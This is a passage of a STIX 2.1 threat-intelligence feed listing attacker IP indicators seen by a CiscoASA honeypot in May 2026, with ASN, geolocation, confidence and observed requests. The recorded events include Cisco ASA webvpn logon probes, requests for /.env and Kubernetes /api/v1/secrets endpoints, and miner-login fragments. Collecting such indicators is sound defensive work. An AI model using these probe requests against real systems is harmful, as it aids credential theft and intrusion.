      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.147.247.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:20:10.000Z",
      "valid_until": "2026-07-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T21:55:03.061Z",
          "last_seen": "2026-05-30T02:07:29.147Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--e87dd82b-b2bc-4e4c-92a4-c2e065bee849",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '92.119.163.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:20:10.000Z",
      "valid_until": "2026-07-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T01:41:02.027Z",
          "last_seen": "2026-05-30T01:41:13.172Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--b28ea780-0268-4002-817b-0f30afa89f9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.56.139.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:20:11.000Z",
      "valid_until": "2026-07-01T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T03:14:07.165Z",
          "last_seen": "2026-05-30T03:14:18.964Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--e67f72de-ddde-44ee-a4df-13deaecd43f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.230.77.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:20:11.000Z",
      "valid_until": "2026-07-01T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-30T03:17:20.147Z",
          "last_seen": "2026-05-30T08:43:38.928Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: JP; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--2529120b-b22a-4e7e-bb4e-d303041dc2fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.216.4.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:20:11.000Z",
      "valid_until": "2026-07-01T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-30T03:18:22.361Z",
          "last_seen": "2026-05-30T03:21:46.975Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--b7caec15-086a-4999-ac9f-8755d3705a6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.230.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:20:10.000Z",
      "valid_until": "2026-07-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T03:37:10.597Z",
          "last_seen": "2026-05-30T11:34:06.225Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /api/health HTTP/1.1\" 404 -",
            "\"GET /api/v1/configmaps HTTP/1.1\" 404 -",
            "\"GET /api/v1/pods?limit=50 HTTP/1.1\" 404 -",
            "\"GET /api/v1/secrets HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--26031a56-47f6-482a-be5b-bf47baaddd27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.253.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:20:10.000Z",
      "valid_until": "2026-07-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T03:40:12.680Z",
          "last_seen": "2026-05-30T03:40:27.911Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c22a53f4-5dee-4053-9efc-2686c53ad0f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.183.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:20:10.000Z",
      "valid_until": "2026-07-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T04:04:38.992Z",
          "last_seen": "2026-05-30T04:04:54.187Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--5be30926-6db2-423b-9713-131edd377a25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.117.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:20:10.000Z",
      "valid_until": "2026-07-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T03:41:12.636Z",
          "last_seen": "2026-05-30T03:41:26.207Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--648e0d7e-79e1-479e-bf15-aeefb0c7e3c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.204.195.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:20:11.000Z",
      "valid_until": "2026-07-01T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T05:32:07.471Z",
          "last_seen": "2026-05-30T05:32:07.471Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--28c10239-f056-484c-b708-2d99f8d915da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.20.114.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:20:11.000Z",
      "valid_until": "2026-07-01T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T05:32:46.150Z",
          "last_seen": "2026-05-30T05:32:46.150Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b9a9fe21-5847-4d43-9e03-8cb28471f422",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:20:11.000Z",
      "valid_until": "2026-07-01T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-20T22:10:18.533Z",
          "last_seen": "2026-05-30T10:24:40.739Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--93047559-912d-48f3-a492-e03b4ac95135",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.88.220.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:20:11.000Z",
      "valid_until": "2026-07-01T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T05:31:56.748Z",
          "last_seen": "2026-05-30T05:31:59.749Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--d458ce21-33e5-46e6-98e4-26fff2017705",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.107.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T06:38:56.479Z",
          "last_seen": "2026-05-30T06:39:12.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--f0ffea1b-15ac-4152-9c93-2f9d4ce011e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.189.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-30T07:00:02.192Z",
          "last_seen": "2026-05-30T07:00:09.808Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "code 400",
            "\"\"id\":1",
            "\"\"params\": [\"miner1\"",
            "\"\"method\":\"login\""
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--21a8c518-790e-4ab2-b03f-3a76f6815175",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.242.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T06:30:17.407Z",
          "last_seen": "2026-05-30T06:30:27.984Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--6178cfb2-b20e-4522-9ed1-b4073c64a5d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.82.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T06:22:10.192Z",
          "last_seen": "2026-05-30T06:22:30.335Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--fe9204b1-871f-474a-baa1-367956e883ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.228.51.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-30T07:13:17.213Z",
          "last_seen": "2026-05-30T07:13:32.559Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c97fd15f-db52-47ba-a0ee-9057806eb53b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:20:10.000Z",
      "valid_until": "2026-07-01T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-30T06:22:27.688Z",
          "last_seen": "2026-05-30T06:37:59.299Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--a5d3e2cc-6acd-4a08-b69a-7baf38db575f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.106.85.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:20:10.000Z",
      "valid_until": "2026-07-01T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-30T07:41:34.944Z",
          "last_seen": "2026-05-30T08:10:23.956Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--19dedea9-2926-450b-8524-ebee8f608ef2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.242.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
